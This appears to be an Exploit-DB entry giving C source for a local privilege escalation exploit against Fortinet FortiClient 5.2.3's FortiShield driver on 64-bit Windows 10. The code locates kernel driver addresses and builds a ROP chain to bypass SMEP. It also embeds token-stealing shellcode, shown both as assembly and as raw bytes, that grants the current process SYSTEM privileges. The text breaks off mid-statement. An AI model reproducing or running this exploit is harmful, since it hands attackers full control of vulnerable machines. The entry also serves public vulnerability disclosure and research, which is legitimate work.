Exploit-DB #41721
Description: Fortinet FortiClient 5.2.3 (Windows 10 x64 Pre-Anniversary) - Local Privilege Escalation
Type: local
Platform: windows_x86-64
Date: 2017-03-25
Author: sickness

Exploit:
/*
Check this out: 
- https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf
Tested on: 
- Windows 10 Pro x64 (Pre-Anniversary)
- hal.dll: 10.0.10240.16384
- FortiShield.sys: 5.2.3.633
Thanks to master @ryujin and @ronin for helping out.
*/

#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include <Psapi.h>

#pragma comment (lib,"psapi")

ULONGLONG get_pxe_address_64(ULONGLONG address) {

	ULONGLONG result = address >> 9;
	result = result | 0xFFFFF[PII_REDACTED]0;
	result = result & 0xFFFFF6FFFFFFFFF8;
	return result;

}

LPVOID GetBaseAddr(char *drvname) {

	LPVOID drivers[1024];
	DWORD cbNeeded;
	int nDrivers, i = 0;

	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {

		char szDrivers[1024];
		nDrivers = cbNeeded / sizeof(drivers[0]);
		for (i = 0; i < nDrivers; i++) {
			if (GetDeviceDriverBaseName(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
				//printf("%s (%p)\n", szDrivers, drivers[i]);
				if (strcmp(szDrivers, drvname) == 0) {
					//printf("%s (%p)\n", szDrivers, drivers[i]);
					return drivers[i];
				}
			}
		}
	}
	return 0;
}

DWORD trigger_callback() {

	printf("[+] Creating dummy file\n");
	system("echo test > test.txt");

	printf("[+] Calling MoveFileEx()\n");
	BOOL MFEresult;
	MFEresult = MoveFileEx((LPCSTR)"test.txt", (LPCSTR)"test2.txt", MOVEFILE_REPLACE_EXISTING);
	if (MFEresult == 0)
	{
		printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError());
		return 1;
	}
	return 0;
}

int main() {

	HANDLE forti;
	forti = CreateFile((LPCSTR)"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (forti == INVALID_HANDLE_VALUE) {
		printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
		return 1;
	}

	LPVOID hal_base = GetBaseAddr("hal.dll");
	LPVOID fortishield_base = GetBaseAddr("FortiShield.sys");

	ULONGLONG va_pte = get_pxe_address_64(0x[PII_REDACTED]000000);
	ULONGLONG hal_pivot = (ULONGLONG)hal_base + 0x6bf0;
	ULONGLONG fortishield_callback = (ULONGLONG)fortishield_base + 0xd150;
	ULONGLONG fortishield_restore = (ULONGLONG)fortishield_base + 0x2f73;

	printf("[+] HAL.dll found at: %llx\n", (ULONGLONG)hal_base);
	printf("[+] FortiShield.sys found at: %llx\n", (ULONGLONG)fortishield_base);
	printf("[+] PTE virtual address at: %llx\n", va_pte);

	DWORD IoControlCode = 0x220028;
	ULONGLONG InputBuffer = hal_pivot;
	DWORD InputBufferLength = 0x8;
	ULONGLONG OutputBuffer = 0x0;
	DWORD OutputBufferLength = 0x0;
	DWORD lpBytesReturned;

	HANDLE pid;
	pid = GetCurrentProcess();
	ULONGLONG allocate_address = 0x[PII_REDACTED]FF016F;
	LPVOID allocate_shellcode;
	allocate_shellcode = VirtualAlloc((LPVOID*)allocate_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (allocate_shellcode == NULL) {
		printf("[!] Error while allocating shellcode: %d\n", GetLastError());
		return 1;
	}

	char *shellcode;
	DWORD shellcode_size = 0x12000;
	ULONGLONG rop_01 = (ULONGLONG)hal_base + 0x668e;		// pop rdx; ret
	ULONGLONG rop_02 = 0x[PII_REDACTED]000063;					// DIRTY + ACCESSED + R/W + PRESENT
	ULONGLONG rop_03 = (ULONGLONG)hal_base + 0x987e;		// pop rax; ret
	ULONGLONG rop_04 = va_pte;
	ULONGLONG rop_05 = (ULONGLONG)hal_base + 0xe2cc;		// mov byte ptr [rax], dl; ret
	ULONGLONG rop_06 = (ULONGLONG)hal_base + 0x15a50;		// wbinvd; ret
	ULONGLONG rop_07 = allocate_address + 0x10040;
	ULONGLONG rop_08 = fortishield_callback;
	ULONGLONG rop_09 = fortishield_restore;

	//;kd> dt -r1 nt!_TEB
	//;   +0x110 SystemReserved1  : [54] Ptr64 Void
	//;??????+0x078 KTHREAD (not documented, can't get it from WinDBG directly)
	//kd> u nt!PsGetCurrentProcess
	//nt!PsGetCurrentProcess:
	//mov rax,qword ptr gs:[188h]
	//mov rax,qword ptr [rax+0B8h]

	// TOKEN STEALING & RESTORE
        // start:
        //     mov rdx, [gs:0x188]
        //     mov r8, [rdx+0x0b8]
        //     mov r9, [r8+0x2f0]
        //     mov rcx, [r9]
        // find_system_proc:
        //     mov rdx, [rcx-0x8]
        //     cmp rdx, 4
        //     jz found_it
        //     mov rcx, [rcx]
        //     cmp rcx, r9
        //     jnz find_system_proc
        // found_it:
        //     mov rax, [rcx+0x68]
        //     and al, 0x0f0
        //     mov [r8+0x358], rax
        // restore:
        // 	mov rbp, qword ptr [rsp+0x80]
        // 	xor rbx, rbx
        // 	mov [rbp], rbx
        // 	mov rbp, qword ptr [rsp+0x88]
        // 	mov rax, rsi
        // 	mov rsp, rax
        // 	sub rsp, 0x20
        // 	jmp rbp

	char token_steal[] = "\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x82\xB8"
                                          "\x00\x00\x00\x4D\x8B\x88\xF0\x02\x00\x00\x49\x8B\x09"
                                          "\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74\x08\x48\x8B\x09"
                                          "\x4C\x39\xC9\x75\xEE\x48\x8B\x41\x68\x24\xF0\x49\x89"
                                          "\x80\x58\x03\x00\x00\x48\x8B\xAC\x24\x80\x00\x00\x00"
                                          "\x48\x31\xDB\x48\x89\x5D\x00\x48\x8B\xAC\x24\x88\x00"
                                          "\x00\x00\x48\x89\xF0\x48\x89\xC4\x48\x83\xEC\x20\xFF\xE5";

	shellcode = (char *)malloc(shellcode_size);
	memset(shellcode, 0x41, shellcode_size);
	memcpy(shellcode + 0x10008, &rop_01, 0x08);
	memcpy(shellcode + 0x10010, &rop_02, 0x08);
	memcpy(shellcode + 0x10018, &rop_03, 0x08);
	memcpy(shellcode + 0x10020, &rop_04, 0x08);
	memcpy(shellcode + 0x10028, &rop_05, 0x08);
	memcpy(shellcode + 0x10030, &rop_06, 0x08);
	memcpy(shellcode + 0x10038, &rop_07, 0x08);
	memcpy(shellcode + 0x10040, token_steal, sizeof(token_steal));
	memcpy(shellcode + 0x100C0, &rop_08, 0x08);
	memcpy(shellcode + 0x100C8, &rop_09, 0x08);

	BOOL WPMresult;
	SIZE_T written;
	WPMresult = Wri